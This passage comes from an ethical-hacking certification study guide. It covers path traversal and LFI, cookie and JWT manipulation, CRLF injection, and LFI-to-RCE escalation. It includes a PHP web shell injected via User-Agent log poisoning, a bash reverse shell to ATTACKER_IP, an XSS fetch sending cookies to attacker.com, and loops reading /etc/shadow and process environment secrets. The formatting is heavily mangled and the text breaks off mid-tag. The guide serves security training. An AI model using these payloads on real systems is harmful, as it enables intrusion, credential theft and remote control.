href="#read-dvwas-configuration-file-reveals-mysql-credentials" class="anchor"> </a> Read DVWA's configuration file (reveals MySQL credentials): </h1> <p><a href="http://127.0.0.1/dvwa/vulnerabilities/fi/?page=../../config/config.inc.php">http://127.0.0.1/dvwa/vulnerabilities/fi/?page=../../config/config.inc.php</a></p> <h1> <a name="at-medium-security-filter-strips-once" href="#at-medium-security-filter-strips-once" class="anchor"> </a> At Medium security (filter strips ../ once): </h1> <h1> <a name="use-double-traversal-etcpasswd" href="#use-double-traversal-etcpasswd" class="anchor"> </a> Use double traversal: ....//....//....//etc/passwd </h1> <p><a href="http://127.0.0.1/dvwa/vulnerabilities/fi/?page=....//....//....//....//etc/passwd">http://127.0.0.1/dvwa/vulnerabilities/fi/?page=....//....//....//....//etc/passwd</a></p> <h1> <a name="at-high-security" href="#at-high-security" class="anchor"> </a> At High security: </h1> <h1> <a name="only-allows-files-starting-with-file-bypass-with" href="#only-allows-files-starting-with-file-bypass-with" class="anchor"> </a> Only allows files starting with "file" — bypass with: </h1> <h1> <a name="fileetcpasswd-file-protocol-for-local-file-access" href="#fileetcpasswd-file-protocol-for-local-file-access" class="anchor"> </a> file:///etc/passwd (file protocol for local file access) </h1> <p><a href="http://127.0.0.1/dvwa/vulnerabilities/fi/?page=file:///etc/passwd">http://127.0.0.1/dvwa/vulnerabilities/fi/?page=file:///etc/passwd</a><br> `<code></code></p> <h4> <a name="using-cadaver-and-dirb-for-web-server-file-enumeration" href="#using-cadaver-and-dirb-for-web-server-file-enumeration" class="anchor"> </a> Using Cadaver and dirb for Web Server File Enumeration </h4> <p><code></code>`bash</p> <h1> <a name="ffuf-for-path-traversal-fuzzing" href="#ffuf-for-path-traversal-fuzzing" class="anchor"> </a> ffuf for path traversal fuzzing: </h1> <p>ffuf -u "<a href="http://target.com/page?file=FUZZ">http://target.com/page?file=FUZZ</a>" \<br> -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt \<br> -fw 10 # Filter by word count baseline<br> -mc 200 # Only show 200 OK responses</p> <h1> <a name="dotdotpwn-dedicated-path-traversal-fuzzer" href="#dotdotpwn-dedicated-path-traversal-fuzzer" class="anchor"> </a> dotdotpwn — dedicated path traversal fuzzer: </h1> <p>dotdotpwn -m http -h target.com -u "<a href="http://target.com/page?file=TRAVERSAL">http://target.com/page?file=TRAVERSAL</a>" \<br> -f /etc/passwd -d 8 -o unix</p> <h1> <a name="for-confirmed-traversal-systematically-read-highvalue-files" href="#for-confirmed-traversal-systematically-read-highvalue-files" class="anchor"> </a> For confirmed traversal, systematically read high-value files: </h1> <p>for file in "/etc/passwd" "/etc/shadow" "/etc/hosts" "/proc/version" "/proc/self/environ"; do<br> echo "=== $file ===";<br> curl -s "<a href="http://target.com/page?file=$(python3">http://target.com/page?file=$(python3</a> -c "print('../'*8)")${file}" 2>/dev/null;<br> done<br> `<code></code></p> <hr> <h3> <a name="6104-cookie-manipulation-attacks" href="#6104-cookie-manipulation-attacks" class="anchor"> </a> 6.10.4 Cookie Manipulation Attacks </h3> <h4> <a name="understanding-cookie-architecture-for-attack" href="#understanding-cookie-architecture-for-attack" class="anchor"> </a> Understanding Cookie Architecture for Attack </h4> <p>Cookies are the state management layer sitting on top of stateless HTTP. They are key-value pairs stored in the browser and sent to the server on every matching request. For web application security, cookies serve three main functions: session management (the session ID that proves authentication), user preferences (language, theme), and tracking (analytics identifiers).</p> <p>From an attacker's perspective, cookies are interesting because:</p> <ol> <li>They carry authentication proof — steal or forge them to impersonate users</li> <li>They carry state that the server trusts — modify them to manipulate server-side logic</li> <li>They can contain encoded data that the server processes — modify the encoding to change behavior</li> <li>They can carry JWTs — forge the token to claim different identity or privileges</li> </ol> <h4> <a name="attack-1-cookie-value-manipulation" href="#attack-1-cookie-value-manipulation" class="anchor"> </a> Attack 1 — Cookie Value Manipulation </h4> <p>Applications sometimes store sensitive state in cookies and make server-side decisions based on those values, trusting that users cannot or will not modify them. This trust is misplaced — users have full control over their own cookies.</p> <p><strong>Examples of vulnerable cookie patterns:</strong></p> <p><code></code>`</p> <h1> <a name="role-stored-in-cookie-critical-vulnerability" href="#role-stored-in-cookie-critical-vulnerability" class="anchor"> </a> Role stored in cookie (critical vulnerability): </h1> <p>Cookie: role=user</p> <h1> <a name="simply-change-to" href="#simply-change-to" class="anchor"> </a> Simply change to: </h1> <p>Cookie: role=admin</p> <h1> <a name="if-the-server-reads-the-role-from-the-cookie-without-serverside-validation" href="#if-the-server-reads-the-role-from-the-cookie-without-serverside-validation" class="anchor"> </a> If the server reads the role from the cookie without server-side validation: </h1> <h1> <a name="full-admin-access" href="#full-admin-access" class="anchor"> </a> Full admin access </h1> <h1> <a name="account-id-in-cookie" href="#account-id-in-cookie" class="anchor"> </a> Account ID in cookie: </h1> <p>Cookie: user_id=1042</p> <h1> <a name="change-to" href="#change-to" class="anchor"> </a> Change to: </h1> <p>Cookie: user_id=1 # Often the first admin account</p> <h1> <a name="boolean-flags" href="#boolean-flags" class="anchor"> </a> Boolean flags: </h1> <p>Cookie: is_premium=false</p> <h1> <a name="change-to" href="#change-to" class="anchor"> </a> Change to: </h1> <p>Cookie: is_premium=true</p> <h1> <a name="premium-features-unlocked" href="#premium-features-unlocked" class="anchor"> </a> Premium features unlocked </h1> <h1> <a name="email-address-determines-which-account-is-shown" href="#email-address-determines-which-account-is-shown" class="anchor"> </a> Email address (determines which account is shown): </h1> <p>Cookie: account=<a href="mailto:alice@example.com">alice@example.com</a></p> <h1> <a name="change-to" href="#change-to" class="anchor"> </a> Change to: </h1> <p>Cookie: account=<a href="mailto:admin@example.com">admin@example.com</a></p> <h1> <a name="or-another-users-email" href="#or-another-users-email" class="anchor"> </a> Or another user's email </h1> <p>`<code></code></p> <p><strong>How to test:</strong><br> In Burp Suite, intercept any request and examine all cookie values. For each cookie value that looks like it could be role-related, user-identifying, or feature-flagging:</p> <ol> <li>Modify the value to something more privileged</li> <li>Forward the modified request</li> <li>Observe whether the response is different</li> </ol> <p>This can also be done with the browser's DevTools (Application → Cookies → double-click to edit), or with the Cookie Editor browser extension.</p> <h4> <a name="attack-2-cookie-decoding-and-reencoding" href="#attack-2-cookie-decoding-and-reencoding" class="anchor"> </a> Attack 2 — Cookie Decoding and Re-encoding </h4> <p>Application cookies are often encoded (Base64, URL encoding) but not encrypted or signed. Decoding them reveals the underlying data structure, which can be modified and re-encoded.</p> <p><code></code>`bash</p> <h1> <a name="base64-decode-a-suspicious-cookie" href="#base64-decode-a-suspicious-cookie" class="anchor"> </a> Base64 decode a suspicious cookie: </h1> <p>echo "dXNlcjoxMDQy" | base64 -d</p> <h1> <a name="output-user1042" href="#output-user1042" class="anchor"> </a> Output: user:1042 </h1> <h1> <a name="modify-the-decoded-value" href="#modify-the-decoded-value" class="anchor"> </a> Modify the decoded value: </h1> <h1> <a name="user1-first-user-likely-admin" href="#user1-first-user-likely-admin" class="anchor"> </a> user:1 (first user, likely admin) </h1> <h1> <a name="reencode" href="#reencode" class="anchor"> </a> Re-encode: </h1> <p>echo -n "user:1" | base64</p> <h1> <a name="output-dxnlcjox" href="#output-dxnlcjox" class="anchor"> </a> Output: dXNlcjox </h1> <h1> <a name="use-modified-cookie-in-request" href="#use-modified-cookie-in-request" class="anchor"> </a> Use modified cookie in request: </h1> <p>Cookie: auth=dXNlcjox</p> <h1> <a name="if-no-signature-verification-server-uses-this-value-and-gives-admin-access" href="#if-no-signature-verification-server-uses-this-value-and-gives-admin-access" class="anchor"> </a> If no signature verification, server uses this value and gives admin access </h1> <p>`<code></code></p> <p><strong>Recognizing common encoded patterns:</strong></p> <p><code></code>`</p> <h1> <a name="base64-pattern-letters-numbers-padding" href="#base64-pattern-letters-numbers-padding" class="anchor"> </a> Base64 pattern: letters, numbers, +, /, = padding </h1> <p>YWRtaW4= → "admin"<br> dXNlcjoxMDQy → "user:1042"<br> eyJhbGci... → JWT (three base64 segments separated by dots)</p> <h1> <a name="urlencoded-json" href="#urlencoded-json" class="anchor"> </a> URL-encoded JSON: </h1> <p>%7B%22user%22%3A%22alice%22%2C%22role%22%3A%22user%22%7D<br> → Decoded: {"user":"alice","role":"user"}</p> <h1> <a name="serialize-formats-php-python-pickle-java" href="#serialize-formats-php-python-pickle-java" class="anchor"> </a> Serialize formats (PHP, Python pickle, Java): </h1> <p>O:4:"User":2:{s:4:"name";s:5:"alice";s:4:"role";s:4:"user";}<br> → PHP serialized object (deserialization vulnerability if untrusted)<br> `<code></code></p> <h4> <a name="attack-3-jwt-manipulation-in-cookies" href="#attack-3-jwt-manipulation-in-cookies" class="anchor"> </a> Attack 3 — JWT Manipulation in Cookies </h4> <p>Many modern applications store JWTs in cookies rather than localStorage (for HttpOnly protection). When you find a cookie containing a value that starts with <code>eyJ</code> (Base64 for <code>{"</code>) followed by a dot, you have a JWT.</p> <p>JWT-specific attacks in cookie context:</p> <p><code></code>`bash</p> <h1> <a name="decode-the-jwt-without-verifying-signature" href="#decode-the-jwt-without-verifying-signature" class="anchor"> </a> Decode the JWT (without verifying signature): </h1> <h1> <a name="install-jwttool" href="#install-jwttool" class="anchor"> </a> Install jwt_tool: </h1> <p>git clone <a href="https://github.com/ticarpi/jwt_tool">https://github.com/ticarpi/jwt_tool</a><br> cd jwt_tool && pip3 install -r requirements.txt</p> <h1> <a name="decode-and-display" href="#decode-and-display" class="anchor"> </a> Decode and display: </h1> <p>python3 jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMDQyIiwicm9sZSI6InVzZXIifQ.xxx</p> <h1> <a name="test-algnone-attack" href="#test-algnone-attack" class="anchor"> </a> Test alg:none attack: </h1> <p>python3 jwt_tool.py eyJ... -X a</p> <h1> <a name="test-hs256-brute-force-weak-secret" href="#test-hs256-brute-force-weak-secret" class="anchor"> </a> Test HS256 brute force (weak secret): </h1> <p>python3 jwt_tool.py eyJ... -C -d /usr/share/wordlists/rockyou.txt</p> <h1> <a name="modify-claims-and-resign-with-known-secret" href="#modify-claims-and-resign-with-known-secret" class="anchor"> </a> Modify claims and re-sign with known secret: </h1> <p>python3 jwt_tool.py eyJ... -T -S hs256 -p "secret"</p> <h1> <a name="modify-change-role-from-user-to-admin-in-the-interactive-editor" href="#modify-change-role-from-user-to-admin-in-the-interactive-editor" class="anchor"> </a> Modify: change role from user to admin in the interactive editor </h1> <h1> <a name="jwttool-creates-a-new-token-signed-with-the-provided-secret" href="#jwttool-creates-a-new-token-signed-with-the-provided-secret" class="anchor"> </a> jwt_tool creates a new token signed with the provided secret </h1> <p>`<code></code></p> <h4> <a name="attack-4-cookie-scope-exploitation" href="#attack-4-cookie-scope-exploitation" class="anchor"> </a> Attack 4 — Cookie Scope Exploitation </h4> <p>The <code>Domain</code> and <code>Path</code> attributes of cookies determine where they are sent. Misconfigurations in these attributes can create security issues:</p> <p><strong>Overly broad Domain scope:</strong><br> A cookie set with <code>Domain=.example.com</code> is sent to all subdomains. If any subdomain has an XSS vulnerability, an attacker exploiting XSS on <code>vulnerable.example.com</code> can access cookies scoped to <code>.example.com</code> — including the session cookie for <code>app.example.com</code>.</p> <p><strong>Testing Domain scope:</strong><br> <code></code><code>javascript<br> // XSS payload on vulnerable.example.com:<br> // Try to read cookies from parent domain:<br> document.cookie // Shows cookies available at current domain including .example.com scope<br> fetch('https://attacker.com/steal?c=' + document.cookie);<br> </code><code></code></p> <p><strong>Path scope confusion:</strong><br> A cookie with <code>Path=/api</code> is only sent to requests under <code>/api</code>. If sensitive operations also occur at <code>/v2/api</code>, and the session cookie is scoped to <code>/api</code> only, the <code>/v2/api</code> requests have no session — potentially creating authentication bypass if the server incorrectly treats cookieless requests as authenticated.</p> <h4> <a name="attack-5-cookie-smuggling-via-header-injection" href="#attack-5-cookie-smuggling-via-header-injection" class="anchor"> </a> Attack 5 — Cookie Smuggling via Header Injection </h4> <p>If user-controlled input is used in setting a cookie (e.g., the application sets a cookie containing the user's username), and if special characters are not filtered, an attacker may inject additional headers or cookie directives through CRLF injection:</p> <p><code></code>`</p> <h1> <a name="if-username-is-reflected-in-setcookie-header" href="#if-username-is-reflected-in-setcookie-header" class="anchor"> </a> If username is reflected in Set-Cookie header: </h1> <h1> <a name="normal-setcookie-usernamealice-httponly-secure" href="#normal-setcookie-usernamealice-httponly-secure" class="anchor"> </a> Normal: Set-Cookie: username=alice; HttpOnly; Secure </h1> <h1> <a name="attacker-registers-username-alicernsetcookie-admintrue" href="#attacker-registers-username-alicernsetcookie-admintrue" class="anchor"> </a> Attacker registers username: alice\r\nSet-Cookie: admin=true </h1> <h1> <a name="resulting-headers-if-not-sanitized" href="#resulting-headers-if-not-sanitized" class="anchor"> </a> Resulting headers (if not sanitized): </h1> <p>Set-Cookie: username=alice<br> Set-Cookie: admin=true<br> `<code></code></p> <p>The server injects an additional <code>Set-Cookie</code> header controlled by the attacker. This is a header injection / CRLF injection vulnerability that uses cookies as the target.</p> <p><strong>Testing:</strong><br> In any username, display name, or profile field that might end up in HTTP response headers, inject CRLF characters:<br> <code></code><code><br> Test input: alice%0d%0aSet-Cookie:%20admin%3Dtrue<br> </code><code></code><br> Examine the response headers for injected headers.</p> <h4> <a name="comprehensive-cookie-testing-checklist" href="#comprehensive-cookie-testing-checklist" class="anchor"> </a> Comprehensive Cookie Testing Checklist </h4> <p><code></code>`<br> During every web application assessment:</p> <p>□ Capture Set-Cookie headers from all responses<br> □ For each cookie:<br> □ Are HttpOnly, Secure, and SameSite flags set correctly?<br> □ Is the Domain scope appropriate (not overly broad)?<br> □ Decode the cookie value (Base64, URL decode)<br> □ Is it a JWT? → Apply JWT testing methodology<br> □ Is it serialized data? → Test for deserialization vulnerabilities<br> □ Does it contain role, privilege, or user identification data?<br> → Test by modifying to higher privilege values<br> □ Regenerated after login? (Test session fixation)<br> □ Invalidated server-side after logout? (Test with replay)</p> <p>□ Test for CRLF injection if any user input appears in headers<br> □ Check cookie scope vs. application architecture<br> `<code></code></p> <hr> <p><em>— Sections 6.7, 6.8, 6.9, and 6.10 are complete. —</em></p> <hr> <h1> <a name="module-6-sections-611-612-and-613" href="#module-6-sections-611-612-and-613" class="anchor"> </a> Module 6 — Sections 6.11, 6.12, and 6.13 </h1> <blockquote> <p><strong>CompTIA PenTest+ / Ethical Hacking Certification Series</strong><br> <em>Professional Reference Guide — GitHub Edition</em><br> <em>File Inclusion · Insecure Code Practices · Race Conditions · APIs · Module Summary</em></p> </blockquote> <hr> <h2> <a name="table-of-contents" href="#table-of-contents" class="anchor"> </a> Table of Contents </h2> <ul> <li><a href="#611-exploiting-file-inclusion-vulnerabilities">6.11 Exploiting File Inclusion Vulnerabilities</a> <ul> <li><a href="#6111-overview--what-file-inclusion-is-and-why-it-leads-to-rce">6.11.1 Overview — What File Inclusion Is and Why It Leads to RCE</a></li> <li><a href="#6112-local-file-inclusion-lfi--the-complete-attack-chain">6.11.2 Local File Inclusion (LFI) — The Complete Attack Chain</a></li> <li><a href="#6113-remote-file-inclusion-rfi--serving-your-own-code-to-the-server">6.11.3 Remote File Inclusion (RFI) — Serving Your Own Code to the Server</a></li> </ul></li> <li><a href="#612-exploiting-insecure-code-practices">6.12 Exploiting Insecure Code Practices</a> <ul> <li><a href="#6121-overview--the-code-quality--security-relationship">6.12.1 Overview — The Code Quality → Security Relationship</a></li> <li><a href="#6122-comments-in-source-code">6.12.2 Comments in Source Code</a></li> <li><a href="#6123-lack-of-error-handling-and-overly-verbose-error-handling">6.12.3 Lack of Error Handling and Overly Verbose Error Handling</a></li> <li><a href="#6124-hard-coded-credentials">6.12.4 Hard-Coded Credentials</a></li> <li><a href="#6125-race-conditions">6.12.5 Race Conditions</a></li> <li><a href="#6126-unprotected-apis">6.12.6 Unprotected APIs</a></li> <li><a href="#6127-hidden-elements-and-client-side-controls">6.12.7 Hidden Elements and Client-Side Controls</a></li> <li><a href="#6128-lack-of-code-signing">6.12.8 Lack of Code Signing</a></li> <li><a href="#6129-additional-web-application-hacking-tools">6.12.9 Additional Web Application Hacking Tools</a></li> <li><a href="#61210-the-owasp-web-security-testing-guide">6.12.10 The OWASP Web Security Testing Guide</a></li> </ul></li> <li><a href="#613-module-6-summary--the-complete-web-application-security-picture">6.13 Module 6 Summary — The Complete Web Application Security Picture</a></li> </ul> <hr> <h2> <a name="611-exploiting-file-inclusion-vulnerabilities" href="#611-exploiting-file-inclusion-vulnerabilities" class="anchor"> </a> 6.11 Exploiting File Inclusion Vulnerabilities </h2> <h3> <a name="6111-overview-what-file-inclusion-is-and-why-it-leads-to-rce" href="#6111-overview-what-file-inclusion-is-and-why-it-leads-to-rce" class="anchor"> </a> 6.11.1 Overview — What File Inclusion Is and Why It Leads to RCE </h3> <h4> <a name="the-core-concept" href="#the-core-concept" class="anchor"> </a> The Core Concept </h4> <p>File inclusion vulnerabilities occur in applications that dynamically include files based on user-controlled input. The mechanism is most commonly found in PHP applications, where the language provides <code>include()</code>, <code>require()</code>, <code>include_once()</code>, and <code>require_once()</code> functions to insert one PHP file's contents into another during execution.</p> <p>The typical use case looks benign: a developer wants to load different page templates or modules based on user navigation:</p> <p><code></code><code>php<br> // A common PHP template system pattern:<br> $page = $_GET['page'];<br> include($page . '.php');<br> </code><code></code></p> <p>When the user visits <code>?page=home</code>, the server includes <code>home.php</code>. When they visit <code>?page=about</code>, it includes <code>about.php</code>. This pattern is convenient for developers who want modular, template-driven applications.</p> <p>The problem: there is no validation that the <code>page</code> parameter must be one of the intended values. An attacker can supply any value — a path to a sensitive file on the server, a URL pointing to a malicious script, or a traversal sequence that reads system files. The server executes whatever it includes.</p> <p>File inclusion differs from simple directory traversal (Section 6.10) in a critical way: <strong>directory traversal reads files and returns their contents as text. File inclusion executes files as PHP code.</strong> When a file is included via PHP's include function, its contents are parsed and executed by the PHP interpreter. This transforms a sensitive file read into potential Remote Code Execution.</p> <p>The distinction:</p> <ul> <li>Directory traversal: attacker reads <code>/etc/passwd</code> — sees user accounts</li> <li>Local File Inclusion: attacker includes <code>/etc/passwd</code> — PHP tries to execute its contents as PHP code (no execution result from this file, but demonstrates the mechanism)</li> <li>Local File Inclusion with code injection: attacker injects PHP code into a server log file, then includes that log file — <strong>full code execution</strong></li> </ul> <p>This escalation path — from file read to log poisoning to Remote Code Execution — is one of the most powerful attack chains in web application exploitation.</p> <hr> <h3> <a name="6112-local-file-inclusion-lfi-the-complete-attack-chain" href="#6112-local-file-inclusion-lfi-the-complete-attack-chain" class="anchor"> </a> 6.11.2 Local File Inclusion (LFI) — The Complete Attack Chain </h3> <h4> <a name="understanding-lfi" href="#understanding-lfi" class="anchor"> </a> Understanding LFI </h4> <p>Local File Inclusion (LFI) is when the file to be included exists on the same server as the application. The attacker cannot directly specify a remote URL but can traverse the local file system to include any readable file.</p> <p><strong>Vulnerable code:</strong><br> <code></code><code>php<br> <?php<br> $page = $_GET['page'];<br> include('/var/www/html/pages/' . $page . '.php');<br> ?><br> </code><code></code></p> <p>The developer assumes the user will only provide simple filenames like <code>home</code>, <code>about</code>, <code>contact</code>. The <code>.php</code> extension is appended automatically.</p> <p><strong>Basic LFI test:</strong><br> <code></code><code><br> ?page=../../../etc/passwd<br> </code><code></code><br> This resolves to: <code>/var/www/html/pages/../../../etc/passwd.php</code></p> <p>Wait — the <code>.php</code> extension is appended. <code>/etc/passwd.php</code> does not exist. The developer thought appending <code>.php</code> would prevent LFI. This is a partial mitigation that historically had bypasses.</p> <p><strong>Bypassing the .php extension append:</strong></p> <p><em>Null byte injection (PHP < 5.3.4):</em><br> <code></code><code><br> ?page=../../../etc/passwd%00<br> </code><code></code><br> PHP's <code>include()</code> treated the null byte as string termination. The path became <code>/etc/passwd\x00.php</code> — the <code>\x00</code> terminated the string before <code>.php</code> was added. This bypass is patched in all modern PHP versions.</p> <p><em>Path truncation (older PHP versions):</em><br> Very long path strings caused PHP to truncate the path at a certain length, dropping the <code>.php</code> extension. Not effective in modern PHP.</p> <p><strong>Modern LFI without extension issues:</strong></p> <p>Many real-world LFI vulnerabilities do not append extensions:<br> <code></code><code>php<br> <?php<br> $page = $_GET['page'];<br> include($page); // No extension appended<br> ?><br> </code><code></code></p> <p>Or the developer uses a switch/case structure but has a default case that includes user input:<br> <code></code><code>php<br> <?php<br> switch($_GET['page']) {<br> case 'home': include('home.php'); break;<br> case 'about': include('about.php'); break;<br> default: include($_GET['page']); // Fallthrough LFI!<br> }<br> ?><br> </code><code></code></p> <h4> <a name="phase-1-reconnaissance-through-lfi" href="#phase-1-reconnaissance-through-lfi" class="anchor"> </a> Phase 1 — Reconnaissance Through LFI </h4> <p>Once LFI is confirmed, the first phase is intelligence gathering through reading sensitive files:</p> <p><strong>Linux — High-Value Targets:</strong></p> <p><code></code>`</p> <h1> <a name="user-accounts-and-system-users" href="#user-accounts-and-system-users" class="anchor"> </a> User accounts and system users: </h1> <p>?page=../../../etc/passwd</p> <h1> <a name="password-hashes-requires-elevated-privileges-but-worth-trying" href="#password-hashes-requires-elevated-privileges-but-worth-trying" class="anchor"> </a> Password hashes (requires elevated privileges, but worth trying): </h1> <p>?page=../../../etc/shadow</p> <h1> <a name="internal-network-mapping" href="#internal-network-mapping" class="anchor"> </a> Internal network mapping: </h1> <p>?page=../../../etc/hosts</p> <h1> <a name="kernel-and-distribution-information" href="#kernel-and-distribution-information" class="anchor"> </a> Kernel and distribution information: </h1> <p>?page=../../../proc/version<br> ?page=../../../proc/sys/kernel/hostname</p> <h1> <a name="network-interfaces-and-connections" href="#network-interfaces-and-connections" class="anchor"> </a> Network interfaces and connections: </h1> <p>?page=../../../proc/net/dev # Network interfaces<br> ?page=../../../proc/net/tcp # Active TCP connections (hex encoded)<br> ?page=../../../proc/net/tcp6 # IPv6 TCP connections</p> <h1> <a name="web-server-process-environment-contains-credentials-and-tokens" href="#web-server-process-environment-contains-credentials-and-tokens" class="anchor"> </a> Web server process environment (contains credentials and tokens): </h1> <p>?page=../../../proc/self/environ</p> <h1> <a name="web-server-command-line-reveals-binary-and-arguments" href="#web-server-command-line-reveals-binary-and-arguments" class="anchor"> </a> Web server command line (reveals binary and arguments): </h1> <p>?page=../../../proc/self/cmdline</p> <h1> <a name="file-descriptors-reveals-open-files" href="#file-descriptors-reveals-open-files" class="anchor"> </a> File descriptors (reveals open files): </h1> <p>?page=../../../proc/self/fd/0<br> ?page=../../../proc/self/fd/1<br> ?page=../../../proc/self/fd/2</p> <h1> <a name="apache-web-server-configuration" href="#apache-web-server-configuration" class="anchor"> </a> Apache web server configuration: </h1> <p>?page=../../../etc/apache2/apache2.conf<br> ?page=../../../etc/apache2/sites-enabled/000-default.conf<br> ?page=../../../etc/apache2/sites-available/default-ssl.conf</p> <h1> <a name="nginx-configuration" href="#nginx-configuration" class="anchor"> </a> Nginx configuration: </h1> <p>?page=../../../etc/nginx/nginx.conf<br> ?page=../../../etc/nginx/sites-enabled/default</p> <h1> <a name="ssh-configuration-and-keys-if-web-server-runs-as-privileged-user" href="#ssh-configuration-and-keys-if-web-server-runs-as-privileged-user" class="anchor"> </a> SSH configuration and keys (if web server runs as privileged user): </h1> <p>?page=../../../root/.ssh/id_rsa<br> ?page=../../../root/.ssh/authorized_keys<br> ?page=../../../home/www-data/.ssh/id_rsa</p> <h1> <a name="cron-jobs-automated-scripts-often-with-credentials" href="#cron-jobs-automated-scripts-often-with-credentials" class="anchor"> </a> Cron jobs (automated scripts, often with credentials): </h1> <p>?page=../../../etc/crontab<br> ?page=../../../var/spool/cron/crontabs/root</p> <h1> <a name="log-files-critical-for-next-phase-log-poisoning" href="#log-files-critical-for-next-phase-log-poisoning" class="anchor"> </a> Log files (critical for next phase — log poisoning): </h1> <p>?page=../../../var/log/apache2/access.log<br> ?page=../../../var/log/apache2/error.log<br> ?page=../../../var/log/nginx/access.log<br> ?page=../../../var/log/auth.log<br> ?page=../../../var/log/syslog</p> <h1> <a name="applicationspecific-configuration" href="#applicationspecific-configuration" class="anchor"> </a> Application-specific configuration: </h1> <p>?page=../../../var/www/html/config.php<br> ?page=../../../var/www/html/.env<br> ?page=../../../var/www/html/wp-config.php # WordPress<br> ?page=../../../var/www/html/configuration.php # Joomla<br> ?page=../../../var/www/html/app/config/database.php<br> `<code></code></p> <p><strong>Windows — High-Value Targets:</strong><br> <code></code><code><br> ?page=..\..\..\Windows\System32\drivers\etc\hosts<br> ?page=..\..\..\Windows\win.ini<br> ?page=..\..\..\Windows\System32\config\SAM # (locked while running)<br> ?page=..\..\..\inetpub\logs\LogFiles\W3SVC1\u_ex*.log # IIS logs<br> ?page=..\..\..\xampp\apache\conf\httpd.conf<br> ?page=..\..\..\xampp\FileZillaFTP\FileZilla Server.xml # FTP credentials<br> ?page=C:\inetpub\wwwroot\web.config # IIS config<br> </code><code></code></p> <h4> <a name="phase-2-escalation-to-remote-code-execution-via-log-poisoning" href="#phase-2-escalation-to-remote-code-execution-via-log-poisoning" class="anchor"> </a> Phase 2 — Escalation to Remote Code Execution via Log Poisoning </h4> <p>Log poisoning is the most commonly successful LFI-to-RCE technique. It exploits the fact that web servers log request data — including the User-Agent header, the request URL, and parameters — and that PHP's include function executes any PHP code found in the included file.</p> <p><strong>The attack chain:</strong></p> <p><strong>Step 1:</strong> Confirm that LFI can read the Apache/Nginx access log:<br> <code></code><code><br> ?page=../../../var/log/apache2/access.log<br> </code><code></code><br> If the access log contents appear in the response, the attack is possible.</p> <p><strong>Step 2:</strong> Inject PHP code into the access log via a crafted HTTP request.</p> <p>The web server logs the User-Agent header from every request. If you send a request with a PHP web shell as the User-Agent, that PHP code is written into the log:</p> <p><code></code>`bash</p> <h1> <a name="using-curl-to-inject-php-code-into-the-useragent" href="#using-curl-to-inject-php-code-into-the-useragent" class="anchor"> </a> Using curl to inject PHP code into the User-Agent: </h1> <p>curl -A "<?php system(\$_GET['cmd']); ?>" <a href="http://target.com/">http://target.com/</a></p> <h1> <a name="what-gets-written-to-varlogapache2accesslog" href="#what-gets-written-to-varlogapache2accesslog" class="anchor"> </a> What gets written to /var/log/apache2/access.log: </h1> <h1> <a name="192168150-15jul2026103000-0000-get-http11-200-1234" href="#192168150-15jul2026103000-0000-get-http11-200-1234" class="anchor"> </a> 192.168.1.50 - - [15/Jul/2026:10:30:00 +0000] "GET / HTTP/1.1" 200 1234 </h1> <h1> <a name="-ltphp-systemgetcmd-gt" href="#-ltphp-systemgetcmd-gt" class="anchor"> </a> "-" "<?php system($_GET['cmd']); ?>" </h1> <p>`<code></code></p> <p><strong>Step 3:</strong> Include the log file via LFI to trigger PHP execution:<br> <code></code><code><br> ?page=../../../var/log/apache2/access.log&cmd=id<br> </code><code></code></p> <p>The PHP interpreter includes the log file, parses all content, finds the injected <code><?php system($_GET['cmd']); ?></code>, executes it with <code>cmd=id</code>, and the output appears in the response:<br> <code></code><code><br> uid=33(www-data) gid=33(www-data) groups=33(www-data)<br> </code><code></code></p> <p>You now have Remote Code Execution. From here, the path to a reverse shell is straightforward:</p> <p><code></code>`bash</p> <h1> <a name="get-a-reverse-shell-via-the-lfilog-poisoning-rce" href="#get-a-reverse-shell-via-the-lfilog-poisoning-rce" class="anchor"> </a> Get a reverse shell via the LFI+log poisoning RCE: </h1> <h1> <a name="1-start-a-listener-on-your-attack-machine" href="#1-start-a-listener-on-your-attack-machine" class="anchor"> </a> 1. Start a listener on your attack machine: </h1> <p>nc -lvnp 4444</p> <h1> <a name="2-execute-a-reverse-shell-via-the-cmd-parameter" href="#2-execute-a-reverse-shell-via-the-cmd-parameter" class="anchor"> </a> 2. Execute a reverse shell via the cmd parameter: </h1> <p>?page=../../../var/log/apache2/access.log&cmd=bash+-i+>%26+/dev/tcp/ATTACKER_IP/4444+0>%261</p> <h1> <a name="url-decoded-command-bash-i-gtamp-devtcpattackerip4444-0gtamp1" href="#url-decoded-command-bash-i-gtamp-devtcpattackerip4444-0gtamp1" class="anchor"> </a> URL decoded command: bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1 </h1> <p>`<code></code></p> <h4> <a name="phase-3-alternative-lfitorce-paths" href="#phase-3-alternative-lfitorce-paths" class="anchor"> </a> Phase 3 — Alternative LFI-to-RCE Paths </h4> <p>When log poisoning fails (log file not accessible, log file too large to include, log path unknown), several alternative paths exist:</p> <p><strong>Via /proc/self/environ:</strong><br> <code></code>`bash</p> <h1> <a name="inject-php-into-environment-via-useragent" href="#inject-php-into-environment-via-useragent" class="anchor"> </a> Inject PHP into environment via User-Agent: </h1> <p>curl -A "<?php system(\$_GET['cmd']); ?>" <a href="http://target.com/">http://target.com/</a></p> <h1> <a name="include-the-environment-file" href="#include-the-environment-file" class="anchor"> </a> Include the environment file: </h1> <p>?page=../../../proc/self/environ&cmd=id</p> <h1> <a name="the-environment-file-contains-the-useragent-httpuseragent-variable" href="#the-environment-file-contains-the-useragent-httpuseragent-variable" class="anchor"> </a> The environment file contains the User-Agent (HTTP_USER_AGENT variable) </h1> <h1> <a name="when-included-php-executes-the-injected-code" href="#when-included-php-executes-the-injected-code" class="anchor"> </a> When included, PHP executes the injected code </h1> <p>`<code></code></p> <p><strong>Via PHP session files:</strong></p> <p>PHP stores session data in files like <code>/tmp/sess_[PHPSESSID]</code>. If you can inject PHP code into your session data and then include the session file via LFI:</p> <p><code></code>`php<br> // Step 1: Create a session with PHP code injection<br> // Visit a page that stores user input in the session:<br> // username = <?php system($_GET['cmd']); ?></p> <p>// Step 2: Get your PHPSESSID from the cookie (e.g., abc123)</p> <p>// Step 3: Include your session file:<br> // ?page=../../../tmp/sess_abc123&cmd=id<br> `<code></code></p> <p><strong>Via PHP wrappers (when include path is controlled):</strong></p> <p>PHP stream wrappers allow treating streams as if they were files. The <code>php://</code> wrapper is particularly powerful for LFI exploitation:</p> <p><code></code>`</p> <h1> <a 